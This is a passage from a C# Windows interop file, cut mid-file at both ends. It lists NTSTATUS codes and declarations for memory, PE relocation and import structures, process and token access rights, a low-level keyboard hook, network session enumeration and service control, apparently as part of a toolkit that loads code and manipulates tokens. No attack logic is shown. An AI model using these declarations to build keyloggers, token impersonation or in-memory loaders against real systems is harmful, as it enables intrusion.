1433 | SuspendCountExceeded = 0xc000004a,
1434 | ThreadIsTerminating = 0xc000004b,
1435 | BadWorkingSetLimit = 0xc000004c,
1436 | IncompatibleFileMap = 0xc000004d,
1437 | SectionProtection = 0xc000004e,
1438 | EasNotSupported = 0xc000004f,
1439 | EaTooLarge = 0xc0000050,
1440 | NonExistentEaEntry = 0xc0000051,
1441 | NoEasOnFile = 0xc0000052,
1442 | EaCorruptError = 0xc0000053,
1443 | FileLockConflict = 0xc0000054,
1444 | LockNotGranted = 0xc0000055,
1445 | DeletePending = 0xc0000056,
1446 | CtlFileNotSupported = 0xc0000057,
1447 | UnknownRevision = 0xc0000058,
1448 | RevisionMismatch = 0xc0000059,
1449 | InvalidOwner = 0xc000005a,
1450 | InvalidPrimaryGroup = 0xc000005b,
1451 | NoImpersonationToken = 0xc000005c,
1452 | CantDisableMandatory = 0xc000005d,
1453 | NoLogonServers = 0xc000005e,
1454 | NoSuchLogonSession = 0xc000005f,
1455 | NoSuchPrivilege = 0xc0000060,
1456 | PrivilegeNotHeld = 0xc0000061,
1457 | InvalidAccountName = 0xc0000062,
1458 | UserExists = 0xc0000063,
1459 | NoSuchUser = 0xc0000064,
1460 | GroupExists = 0xc0000065,
1461 | NoSuchGroup = 0xc0000066,
1462 | MemberInGroup = 0xc0000067,
1463 | MemberNotInGroup = 0xc0000068,
1464 | LastAdmin = 0xc0000069,
1465 | WrongPassword = 0xc000006a,
1466 | IllFormedPassword = 0xc000006b,
1467 | PasswordRestriction = 0xc000006c,
1468 | LogonFailure = 0xc000006d,
1469 | AccountRestriction = 0xc000006e,
1470 | InvalidLogonHours = 0xc000006f,
1471 | InvalidWorkstation = 0xc0000070,
1472 | PasswordExpired = 0xc0000071,
1473 | AccountDisabled = 0xc0000072,
1474 | NoneMapped = 0xc0000073,
1475 | TooManyLuidsRequested = 0xc0000074,
1476 | LuidsExhausted = 0xc0000075,
1477 | InvalidSubAuthority = 0xc0000076,
1478 | InvalidAcl = 0xc0000077,
1479 | InvalidSid = 0xc0000078,
1480 | InvalidSecurityDescr = 0xc0000079,
1481 | ProcedureNotFound = 0xc000007a,
1482 | InvalidImageFormat = 0xc000007b,
1483 | NoToken = 0xc000007c,
1484 | BadInheritanceAcl = 0xc000007d,
1485 | RangeNotLocked = 0xc000007e,
1486 | DiskFull = 0xc000007f,
1487 | ServerDisabled = 0xc0000080,
1488 | ServerNotDisabled = 0xc0000081,
1489 | TooManyGuidsRequested = 0xc0000082,
1490 | GuidsExhausted = 0xc0000083,
1491 | InvalidIdAuthority = 0xc0000084,
1492 | AgentsExhausted = 0xc0000085,
1493 | InvalidVolumeLabel = 0xc0000086,
1494 | SectionNotExtended = 0xc0000087,
1495 | NotMappedData = 0xc0000088,
1496 | ResourceDataNotFound = 0xc0000089,
1497 | ResourceTypeNotFound = 0xc000008a,
1498 | ResourceNameNotFound = 0xc000008b,
1499 | ArrayBoundsExceeded = 0xc000008c,
1500 | FloatDenormalOperand = 0xc000008d,
1501 | FloatDivideByZero = 0xc000008e,
1502 | FloatInexactResult = 0xc000008f,
1503 | FloatInvalidOperation = 0xc0000090,
1504 | FloatOverflow = 0xc0000091,
1505 | FloatStackCheck = 0xc0000092,
1506 | FloatUnderflow = 0xc0000093,
1507 | IntegerDivideByZero = 0xc0000094,
1508 | IntegerOverflow = 0xc0000095,
1509 | PrivilegedInstruction = 0xc0000096,
1510 | TooManyPagingFiles = 0xc0000097,
1511 | FileInvalid = 0xc0000098,
1512 | InsufficientResources = 0xc000009a,
1513 | InstanceNotAvailable = 0xc00000ab,
1514 | PipeNotAvailable = 0xc00000ac,
1515 | InvalidPipeState = 0xc00000ad,
1516 | PipeBusy = 0xc00000ae,
1517 | IllegalFunction = 0xc00000af,
1518 | PipeDisconnected = 0xc00000b0,
1519 | PipeClosing = 0xc00000b1,
1520 | PipeConnected = 0xc00000b2,
1521 | PipeListening = 0xc00000b3,
1522 | InvalidReadMode = 0xc00000b4,
1523 | IoTimeout = 0xc00000b5,
1524 | FileForcedClosed = 0xc00000b6,
1525 | ProfilingNotStarted = 0xc00000b7,
1526 | ProfilingNotStopped = 0xc00000b8,
1527 | NotSameDevice = 0xc00000d4,
1528 | FileRenamed = 0xc00000d5,
1529 | CantWait = 0xc00000d8,
1530 | PipeEmpty = 0xc00000d9,
1531 | CantTerminateSelf = 0xc00000db,
1532 | InternalError = 0xc00000e5,
1533 | InvalidParameter1 = 0xc00000ef,
1534 | InvalidParameter2 = 0xc00000f0,
1535 | InvalidParameter3 = 0xc00000f1,
1536 | InvalidParameter4 = 0xc00000f2,
1537 | InvalidParameter5 = 0xc00000f3,
1538 | InvalidParameter6 = 0xc00000f4,
1539 | InvalidParameter7 = 0xc00000f5,
1540 | InvalidParameter8 = 0xc00000f6,
1541 | InvalidParameter9 = 0xc00000f7,
1542 | InvalidParameter10 = 0xc00000f8,
1543 | InvalidParameter11 = 0xc00000f9,
1544 | InvalidParameter12 = 0xc00000fa,
1545 | ProcessIsTerminating = 0xc000010a,
1546 | MappedFileSizeZero = 0xc000011e,
1547 | TooManyOpenedFiles = 0xc000011f,
1548 | Cancelled = 0xc0000120,
1549 | CannotDelete = 0xc0000121,
1550 | InvalidComputerName = 0xc0000122,
1551 | FileDeleted = 0xc0000123,
1552 | SpecialAccount = 0xc0000124,
1553 | SpecialGroup = 0xc0000125,
1554 | SpecialUser = 0xc0000126,
1555 | MembersPrimaryGroup = 0xc0000127,
1556 | FileClosed = 0xc0000128,
1557 | TooManyThreads = 0xc0000129,
1558 | ThreadNotInProcess = 0xc000012a,
1559 | TokenAlreadyInUse = 0xc000012b,
1560 | PagefileQuotaExceeded = 0xc000012c,
1561 | CommitmentLimit = 0xc000012d,
1562 | InvalidImageLeFormat = 0xc000012e,
1563 | InvalidImageNotMz = 0xc000012f,
1564 | InvalidImageProtect = 0xc0000130,
1565 | InvalidImageWin16 = 0xc0000131,
1566 | LogonServer = 0xc0000132,
1567 | DifferenceAtDc = 0xc0000133,
1568 | SynchronizationRequired = 0xc0000134,
1569 | DllNotFound = 0xc0000135,
1570 | IoPrivilegeFailed = 0xc0000137,
1571 | OrdinalNotFound = 0xc0000138,
1572 | EntryPointNotFound = 0xc0000139,
1573 | ControlCExit = 0xc000013a,
1574 | InvalidAddress = 0xc0000141,
1575 | PortNotSet = 0xc0000353,
1576 | DebuggerInactive = 0xc0000354,
1577 | CallbackBypass = 0xc0000503,
1578 | PortClosed = 0xc0000700,
1579 | MessageLost = 0xc0000701,
1580 | InvalidMessage = 0xc0000702,
1581 | RequestCanceled = 0xc0000703,
1582 | RecursiveDispatch = 0xc0000704,
1583 | LpcReceiveBufferExpected = 0xc0000705,
1584 | LpcInvalidConnectionUsage = 0xc0000706,
1585 | LpcRequestsNotAllowed = 0xc0000707,
1586 | ResourceInUse = 0xc0000708,
1587 | ProcessIsProtected = 0xc0000712,
1588 | VolumeDirty = 0xc0000806,
1589 | FileCheckedOut = 0xc0000901,
1590 | CheckOutRequired = 0xc0000902,
1591 | BadFileType = 0xc0000903,
1592 | FileTooLarge = 0xc0000904,
1593 | FormsAuthRequired = 0xc0000905,
1594 | VirusInfected = 0xc0000906,
1595 | VirusDeleted = 0xc0000907,
1596 | TransactionalConflict = 0xc0190001,
1597 | InvalidTransaction = 0xc0190002,
1598 | TransactionNotActive = 0xc0190003,
1599 | TmInitializationFailed = 0xc0190004,
1600 | RmNotActive = 0xc0190005,
1601 | RmMetadataCorrupt = 0xc0190006,
1602 | TransactionNotJoined = 0xc0190007,
1603 | DirectoryNotRm = 0xc0190008,
1604 | CouldNotResizeLog = 0xc0190009,
1605 | TransactionsUnsupportedRemote = 0xc019000a,
1606 | LogResizeInvalidSize = 0xc019000b,
1607 | RemoteFileVersionMismatch = 0xc019000c,
1608 | CrmProtocolAlreadyExists = 0xc019000f,
1609 | TransactionPropagationFailed = 0xc0190010,
1610 | CrmProtocolNotFound = 0xc0190011,
1611 | TransactionSuperiorExists = 0xc0190012,
1612 | TransactionRequestNotValid = 0xc0190013,
1613 | TransactionNotRequested = 0xc0190014,
1614 | TransactionAlreadyAborted = 0xc0190015,
1615 | TransactionAlreadyCommitted = 0xc0190016,
1616 | TransactionInvalidMarshallBuffer = 0xc0190017,
1617 | CurrentTransactionNotValid = 0xc0190018,
1618 | LogGrowthFailed = 0xc0190019,
1619 | ObjectNoLongerExists = 0xc0190021,
1620 | StreamMiniversionNotFound = 0xc0190022,
1621 | StreamMiniversionNotValid = 0xc0190023,
1622 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
1623 | CantOpenMiniversionWithModifyIntent = 0xc0190025,
1624 | CantCreateMoreStreamMiniversions = 0xc0190026,
1625 | HandleNoLongerValid = 0xc0190028,
1626 | NoTxfMetadata = 0xc0190029,
1627 | LogCorruptionDetected = 0xc0190030,
1628 | CantRecoverWithHandleOpen = 0xc0190031,
1629 | RmDisconnected = 0xc0190032,
1630 | EnlistmentNotSuperior = 0xc0190033,
1631 | RecoveryNotNeeded = 0xc0190034,
1632 | RmAlreadyStarted = 0xc0190035,
1633 | FileIdentityNotPersistent = 0xc0190036,
1634 | CantBreakTransactionalDependency = 0xc0190037,
1635 | CantCrossRmBoundary = 0xc0190038,
1636 | TxfDirNotEmpty = 0xc0190039,
1637 | IndoubtTransactionsExist = 0xc019003a,
1638 | TmVolatile = 0xc019003b,
1639 | RollbackTimerExpired = 0xc019003c,
1640 | TxfAttributeCorrupt = 0xc019003d,
1641 | EfsNotAllowedInTransaction = 0xc019003e,
1642 | TransactionalOpenNotAllowed = 0xc019003f,
1643 | TransactedMappingUnsupportedRemote = 0xc0190040,
1644 | TxfMetadataAlreadyPresent = 0xc0190041,
1645 | TransactionScopeCallbacksNotSet = 0xc0190042,
1646 | TransactionRequiredPromotion = 0xc0190043,
1647 | CannotExecuteFileInTransaction = 0xc0190044,
1648 | TransactionsNotFrozen = 0xc0190045,
1649 |
1650 | MaximumNtStatus = 0xffffffff
1651 | }
1652 | }
1653 |
1654 | public static class Win32
1655 | {
1656 | public static class Kernel32
1657 | {
1658 | public static uint MEM_COMMIT = 0x1000;
1659 | public static uint MEM_RESERVE = 0x2000;
1660 | public static uint MEM_RESET = 0x80000;
1661 | public static uint MEM_RESET_UNDO = 0x1000000;
1662 | public static uint MEM_LARGE_PAGES = 0x20000000;
1663 | public static uint MEM_PHYSICAL = 0x400000;
1664 | public static uint MEM_TOP_DOWN = 0x100000;
1665 | public static uint MEM_WRITE_WATCH = 0x200000;
1666 | public static uint MEM_COALESCE_PLACEHOLDERS = 0x1;
1667 | public static uint MEM_PRESERVE_PLACEHOLDER = 0x2;
1668 | public static uint MEM_DECOMMIT = 0x4000;
1669 | public static uint MEM_RELEASE = 0x8000;
1670 |
1671 | [StructLayout(LayoutKind.Sequential)]
1672 | public struct IMAGE_BASE_RELOCATION
1673 | {
1674 | public uint VirtualAdress;
1675 | public uint SizeOfBlock;
1676 | }
1677 |
1678 | [StructLayout(LayoutKind.Sequential)]
1679 | public struct IMAGE_IMPORT_DESCRIPTOR
1680 | {
1681 | public uint OriginalFirstThunk;
1682 | public uint TimeDateStamp;
1683 | public uint ForwarderChain;
1684 | public uint Name;
1685 | public uint FirstThunk;
1686 | }
1687 |
1688 | public struct SYSTEM_INFO
1689 | {
1690 | public ushort wProcessorArchitecture;
1691 | public ushort wReserved;
1692 | public uint dwPageSize;
1693 | public IntPtr lpMinimumApplicationAddress;
1694 | public IntPtr lpMaximumApplicationAddress;
1695 | public UIntPtr dwActiveProcessorMask;
1696 | public uint dwNumberOfProcessors;
1697 | public uint dwProcessorType;
1698 | public uint dwAllocationGranularity;
1699 | public ushort wProcessorLevel;
1700 | public ushort wProcessorRevision;
1701 | };
1702 |
1703 | public enum Platform
1704 | {
1705 | x86,
1706 | x64,
1707 | IA64,
1708 | Unknown
1709 | }
1710 |
1711 | [Flags]
1712 | public enum ProcessAccessFlags : UInt32
1713 | {
1714 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
1715 | PROCESS_ALL_ACCESS = 0x001F0FFF,
1716 | PROCESS_CREATE_PROCESS = 0x0080,
1717 | PROCESS_CREATE_THREAD = 0x0002,
1718 | PROCESS_DUP_HANDLE = 0x0040,
1719 | PROCESS_QUERY_INFORMATION = 0x0400,
1720 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
1721 | PROCESS_SET_INFORMATION = 0x0200,
1722 | PROCESS_SET_QUOTA = 0x0100,
1723 | PROCESS_SUSPEND_RESUME = 0x0800,
1724 | PROCESS_TERMINATE = 0x0001,
1725 | PROCESS_VM_OPERATION = 0x0008,
1726 | PROCESS_VM_READ = 0x0010,
1727 | PROCESS_VM_WRITE = 0x0020,
1728 | SYNCHRONIZE = 0x00100000
1729 | }
1730 |
1731 | [Flags]
1732 | public enum FileAccessFlags : UInt32
1733 | {
1734 | DELETE = 0x10000,
1735 | FILE_READ_DATA = 0x1,
1736 | FILE_READ_ATTRIBUTES = 0x80,
1737 | FILE_READ_EA = 0x8,
1738 | READ_CONTROL = 0x20000,
1739 | FILE_WRITE_DATA = 0x2,
1740 | FILE_WRITE_ATTRIBUTES = 0x100,
1741 | FILE_WRITE_EA = 0x10,
1742 | FILE_APPEND_DATA = 0x4,
1743 | WRITE_DAC = 0x40000,
1744 | WRITE_OWNER = 0x80000,
1745 | SYNCHRONIZE = 0x100000,
1746 | FILE_EXECUTE = 0x20
1747 | }
1748 |
1749 | [Flags]
1750 | public enum FileShareFlags : UInt32
1751 | {
1752 | FILE_SHARE_NONE = 0x0,
1753 | FILE_SHARE_READ = 0x1,
1754 | FILE_SHARE_WRITE = 0x2,
1755 | FILE_SHARE_DELETE = 0x4
1756 | }
1757 |
1758 | [Flags]
1759 | public enum FileOpenFlags : UInt32
1760 | {
1761 | FILE_DIRECTORY_FILE = 0x1,
1762 | FILE_WRITE_THROUGH = 0x2,
1763 | FILE_SEQUENTIAL_ONLY = 0x4,
1764 | FILE_NO_INTERMEDIATE_BUFFERING = 0x8,
1765 | FILE_SYNCHRONOUS_IO_ALERT = 0x10,
1766 | FILE_SYNCHRONOUS_IO_NONALERT = 0x20,
1767 | FILE_NON_DIRECTORY_FILE = 0x40,
1768 | FILE_CREATE_TREE_CONNECTION = 0x80,
1769 | FILE_COMPLETE_IF_OPLOCKED = 0x100,
1770 | FILE_NO_EA_KNOWLEDGE = 0x200,
1771 | FILE_OPEN_FOR_RECOVERY = 0x400,
1772 | FILE_RANDOM_ACCESS = 0x800,
1773 | FILE_DELETE_ON_CLOSE = 0x1000,
1774 | FILE_OPEN_BY_FILE_ID = 0x2000,
1775 | FILE_OPEN_FOR_BACKUP_INTENT = 0x4000,
1776 | FILE_NO_COMPRESSION = 0x8000
1777 | }
1778 |
1779 | [Flags]
1780 | public enum StandardRights : uint
1781 | {
1782 | Delete = 0x00010000,
1783 | ReadControl = 0x00020000,
1784 | WriteDac = 0x00040000,
1785 | WriteOwner = 0x00080000,
1786 | Synchronize = 0x00100000,
1787 | Required = 0x000f0000,
1788 | Read = ReadControl,
1789 | Write = ReadControl,
1790 | Execute = ReadControl,
1791 | All = 0x001f0000,
1792 |
1793 | SpecificRightsAll = 0x0000ffff,
1794 | AccessSystemSecurity = 0x01000000,
1795 | MaximumAllowed = 0x02000000,
1796 | GenericRead = 0x80000000,
1797 | GenericWrite = 0x40000000,
1798 | GenericExecute = 0x20000000,
1799 | GenericAll = 0x10000000
1800 | }
1801 |
1802 | [Flags]
1803 | public enum ThreadAccess : uint
1804 | {
1805 | Terminate = 0x0001,
1806 | SuspendResume = 0x0002,
1807 | Alert = 0x0004,
1808 | GetContext = 0x0008,
1809 | SetContext = 0x0010,
1810 | SetInformation = 0x0020,
1811 | QueryInformation = 0x0040,
1812 | SetThreadToken = 0x0080,
1813 | Impersonate = 0x0100,
1814 | DirectImpersonation = 0x0200,
1815 | SetLimitedInformation = 0x0400,
1816 | QueryLimitedInformation = 0x0800,
1817 | All = StandardRights.Required | StandardRights.Synchronize | 0x3ff
1818 | }
1819 | }
1820 |
1821 | public static class User32
1822 | {
1823 | public static int WH_KEYBOARD_LL { get; } = 13;
1824 | public static int WM_KEYDOWN { get; } = 0x0100;
1825 |
1826 | public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
1827 | }
1828 |
1829 | public static class Netapi32
1830 | {
1831 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
1832 | public struct LOCALGROUP_USERS_INFO_0
1833 | {
1834 | [MarshalAs(UnmanagedType.LPWStr)] internal string name;
1835 | }
1836 |
1837 | [StructLayout(LayoutKind.Sequential)]
1838 | public struct LOCALGROUP_USERS_INFO_1
1839 | {
1840 | [MarshalAs(UnmanagedType.LPWStr)] public string name;
1841 | [MarshalAs(UnmanagedType.LPWStr)] public string comment;
1842 | }
1843 |
1844 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
1845 | public struct LOCALGROUP_MEMBERS_INFO_2
1846 | {
1847 | public IntPtr lgrmi2_sid;
1848 | public int lgrmi2_sidusage;
1849 | [MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname;
1850 | }
1851 |
1852 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
1853 | public struct WKSTA_USER_INFO_1
1854 | {
1855 | public string wkui1_username;
1856 | public string wkui1_logon_domain;
1857 | public string wkui1_oth_domains;
1858 | public string wkui1_logon_server;
1859 | }
1860 |
1861 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
1862 | public struct SESSION_INFO_10
1863 | {
1864 | public string sesi10_cname;
1865 | public string sesi10_username;
1866 | public int sesi10_time;
1867 | public int sesi10_idle_time;
1868 | }
1869 |
1870 | public enum SID_NAME_USE : UInt16
1871 | {
1872 | SidTypeUser = 1,
1873 | SidTypeGroup = 2,
1874 | SidTypeDomain = 3,
1875 | SidTypeAlias = 4,
1876 | SidTypeWellKnownGroup = 5,
1877 | SidTypeDeletedAccount = 6,
1878 | SidTypeInvalid = 7,
1879 | SidTypeUnknown = 8,
1880 | SidTypeComputer = 9
1881 | }
1882 |
1883 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
1884 | public struct SHARE_INFO_1
1885 | {
1886 | public string shi1_netname;
1887 | public uint shi1_type;
1888 | public string shi1_remark;
1889 |
1890 | public SHARE_INFO_1(string netname, uint type, string remark)
1891 | {
1892 | this.shi1_netname = netname;
1893 | this.shi1_type = type;
1894 | this.shi1_remark = remark;
1895 | }
1896 | }
1897 | }
1898 |
1899 | public static class Advapi32
1900 | {
1901 |
1902 | // http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken
1903 | public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
1904 | public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
1905 | public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
1906 | public const UInt32 TOKEN_DUPLICATE = 0x0002;
1907 | public const UInt32 TOKEN_IMPERSONATE = 0x0004;
1908 | public const UInt32 TOKEN_QUERY = 0x0008;
1909 | public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
1910 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
1911 | public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
1912 | public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
1913 | public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
1914 | public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
1915 | public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
1916 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
1917 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
1918 | TOKEN_ADJUST_SESSIONID);
1919 | public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
1920 |
1921 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
1922 | [Flags]
1923 | public enum CREATION_FLAGS : uint
1924 | {
1925 | NONE = 0x00000000,
1926 | DEBUG_PROCESS = 0x00000001,
1927 | DEBUG_ONLY_THIS_PROCESS = 0x00000002,
1928 | CREATE_SUSPENDED = 0x00000004,
1929 | DETACHED_PROCESS = 0x00000008,
1930 | CREATE_NEW_CONSOLE = 0x00000010,
1931 | NORMAL_PRIORITY_CLASS = 0x00000020,
1932 | IDLE_PRIORITY_CLASS = 0x00000040,
1933 | HIGH_PRIORITY_CLASS = 0x00000080,
1934 | REALTIME_PRIORITY_CLASS = 0x00000100,
1935 | CREATE_NEW_PROCESS_GROUP = 0x00000200,
1936 | CREATE_UNICODE_ENVIRONMENT = 0x00000400,
1937 | CREATE_SEPARATE_WOW_VDM = 0x00000800,
1938 | CREATE_SHARED_WOW_VDM = 0x00001000,
1939 | CREATE_FORCEDOS = 0x00002000,
1940 | BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
1941 | ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
1942 | INHERIT_PARENT_AFFINITY = 0x00010000,
1943 | INHERIT_CALLER_PRIORITY = 0x00020000,
1944 | CREATE_PROTECTED_PROCESS = 0x00040000,
1945 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
1946 | PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
1947 | PROCESS_MODE_BACKGROUND_END = 0x00200000,
1948 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
1949 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
1950 | CREATE_DEFAULT_ERROR_MODE = 0x04000000,
1951 | CREATE_NO_WINDOW = 0x08000000,
1952 | PROFILE_USER = 0x10000000,
1953 | PROFILE_KERNEL = 0x20000000,
1954 | PROFILE_SERVER = 0x40000000,
1955 | CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000
1956 | }
1957 |
1958 | [Flags]
1959 | public enum LOGON_FLAGS
1960 | {
1961 | NONE = 0x00000000,
1962 | LOGON_WITH_PROFILE = 0x00000001,
1963 | LOGON_NETCREDENTIALS_ONLY = 0x00000002
1964 | }
1965 |
1966 | public enum LOGON_TYPE
1967 | {
1968 | LOGON32_LOGON_INTERACTIVE = 2,
1969 | LOGON32_LOGON_NETWORK,
1970 | LOGON32_LOGON_BATCH,
1971 | LOGON32_LOGON_SERVICE,
1972 | LOGON32_LOGON_UNLOCK = 7,
1973 | LOGON32_LOGON_NETWORK_CLEARTEXT,
1974 | LOGON32_LOGON_NEW_CREDENTIALS
1975 | }
1976 |
1977 | public enum LOGON_PROVIDER
1978 | {
1979 | LOGON32_PROVIDER_DEFAULT,
1980 | LOGON32_PROVIDER_WINNT35,
1981 | LOGON32_PROVIDER_WINNT40,
1982 | LOGON32_PROVIDER_WINNT50
1983 | }
1984 |
1985 | [Flags]
1986 | public enum SCM_ACCESS : uint
1987 | {
1988 | SC_MANAGER_CONNECT = 0x00001,
1989 | SC_MANAGER_CREATE_SERVICE = 0x00002,
1990 | SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
1991 | SC_MANAGER_LOCK = 0x00008,
1992 | SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
1993 | SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
1994 |
1995 | SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
1996 | SC_MANAGER_CONNECT |
1997 | SC_MANAGER_CREATE_SERVICE |
1998 | SC_MANAGER_ENUMERATE_SERVICE |
1999 | SC_MANAGER_LOCK |
2000 | SC_MANAGER_QUERY_LOCK_STATUS |
2001 | SC_MANAGER_MODIFY_BOOT_CONFIG,
2002 |
2003 | GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
2004 | SC_MANAGER_ENUMERATE_SERVICE |
2005 | SC_MANAGER_QUERY_LOCK_STATUS,
2006 |
2007 | GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
2008 | SC_MANAGER_CREATE_SERVICE |
2009 | SC_MANAGER_MODIFY_BOOT_CONFIG,
2010 |
2011 | GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
2012 | SC_MANAGER_CONNECT | SC_MANAGER_LOCK,
2013 |
2014 | GENERIC_ALL = SC_MANAGER_ALL_ACCESS,
2015 | }
2016 |
2017 | [Flags]
2018 | public enum ACCESS_MASK : uint
2019 | {
2020 | DELETE = 0x00010000,
2021 | READ_CONTROL = 0x00020000,
2022 | WRITE_DAC = 0x00040000,
2023 | WRITE_OWNER = 0x00080000,
2024 | SYNCHRONIZE = 0x00100000,
2025 | STANDARD_RIGHTS_REQUIRED = 0x000F0000,
2026 | STANDARD_RIGHTS_READ = 0x00020000,
2027 | STANDARD_RIGHTS_WRITE = 0x00020000,
2028 | STANDARD_RIGHTS_EXECUTE = 0x00020000,
2029 | STANDARD_RIGHTS_ALL = 0x001F0000,
2030 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
2031 | ACCESS_SYSTEM_SECURITY = 0x01000000,
2032 | MAXIMUM_ALLOWED = 0x02000000,
2033 | GENERIC_READ = 0x80000000,
2034 | GENERIC_WRITE = 0x40000000,
2035 | GENERIC_EXECUTE = 0x20000000,
2036 | GENERIC_ALL = 0x10000000,
2037 | DESKTOP_READOBJECTS = 0x00000001,
2038 | DESKTOP_CREATEWINDOW = 0x00000002,
2039 | DESKTOP_CREATEMENU = 0x00000004,
2040 | DESKTOP_HOOKCONTROL = 0x00000008,
2041 | DESKTOP_JOURNALRECORD = 0x00000010,
2042 | DESKTOP_JOURNALPLAYBACK = 0x00000020,
2043 | DESKTOP_ENUMERATE = 0x00000040,
2044 | DESKTOP_WRITEOBJECTS = 0x00000080,
2045 | DESKTOP_SWITCHDESKTOP = 0x00000100,
2046 | WINSTA_ENUMDESKTOPS = 0x00000001,
2047 | WINSTA_READATTRIBUTES = 0x00000002,
2048 | WINSTA_ACCESSCLIPBOARD = 0x00000004,
2049 | WINSTA_CREATEDESKTOP = 0x00000008,
2050 | WINSTA_WRITEATTRIBUTES = 0x00000010,
2051 | WINSTA_ACCESSGLOBALATOMS = 0x00000020,
2052 | WINSTA_EXITWINDOWS = 0x00000040,
2053 | WINSTA_ENUMERATE = 0x00000100,
2054 | WINSTA_READSCREEN = 0x00000200,
2055 | WINSTA_ALL_ACCESS = 0x0000037F
2056 | }
2057 |
2058 | [Flags]
2059 | public enum SERVICE_ACCESS : uint
2060 | {
2061 | SERVICE_QUERY_CONFIG = 0x00001,
2062 | SERVICE_CHANGE_CONFIG = 0x00002,
2063 | SERVICE_QUERY_STATUS = 0x00004,
2064 | SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
2065 | SERVICE_START = 0x00010,
2066 | SERVICE_STOP = 0x00020,
2067 | SERVICE_PAUSE_CONTINUE = 0x00040,
2068 | SERVICE_INTERROGATE = 0x00080,
2069 | SERVICE_USER_DEFINED_CONTROL = 0x00100,
2070 |
2071 | SERVICE_ALL_ACCESS = (ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
2072 | SERVICE_QUERY_CONFIG |
2073 | SERVICE_CHANGE_CONFIG |
2074 | SERVICE_QUERY_STATUS |
2075 | SERVICE_ENUMERATE_DEPENDENTS |
2076 | SERVICE_START |
2077 | SERVICE_STOP |
2078 | SERVICE_PAUSE_CONTINUE |
2079 | SERVICE_INTERROGATE |
2080 | SERVICE_USER_DEFINED_CONTROL),
2081 |
2082 | GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
2083 | SERVICE_QUERY_CONFIG |
2084 | SERVICE_QUERY_STATUS |
2085 | SERVICE_INTERROGATE |
2086 | SERVICE_ENUMERATE_DEPENDENTS,
2087 |
2088 | GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
2089 | SERVICE_CHANGE_CONFIG,
2090 |
2091 | GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
2092 | SERVICE_START |
2093 | SERVICE_STOP |
2094 | SERVICE_PAUSE_CONTINUE |
2095 | SERVICE_USER_DEFINED_CONTROL,
2096 |
2097 | ACCESS_SYSTEM_SECURITY = ACCESS_MASK.ACCESS_SYSTEM_SECURITY,
2098 | DELETE = ACCESS_MASK.DELETE,
2099 | READ_CONTROL = ACCESS_MASK.READ_CONTROL,
2100 | WRITE_DAC = ACCESS_MASK.WRITE_DAC,
2101 | WRITE_OWNER = ACCESS_MASK.WRITE_OWNER,
2102 | }
2103 |
2104 | [Flags]
2105 | public enum SERVICE_TYPE : uint
2106 | {
2107 | SERVICE_KERNEL_DRIVER = 0x00000001,
2108 | SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,
2109 | SERVICE_WIN32_OWN_PROCESS = 0x00000010,
2110 | SERVICE_WIN32_SHARE_PROCESS = 0x00000020,
2111 | SERVICE_INTERACTIVE_PROCESS = 0x00000100,
2112 | }
2113 |
2114 | public enum SERVICE_START : uint
2115 | {
2116 | SERVICE_BOOT_START = 0x00000000,
2117 | SERVICE_SYSTEM_START = 0x00000001,
2118 | SERVICE_AUTO_START = 0x00000002,
2119 | SERVICE_DEMAND_START = 0x00000003,
2120 | SERVICE_DISABLED = 0x00000004,
2121 | }
2122 |
2123 | public enum SERVICE_ERROR
2124 | {
2125 | SERVICE_ERROR_IGNORE = 0x00000000,
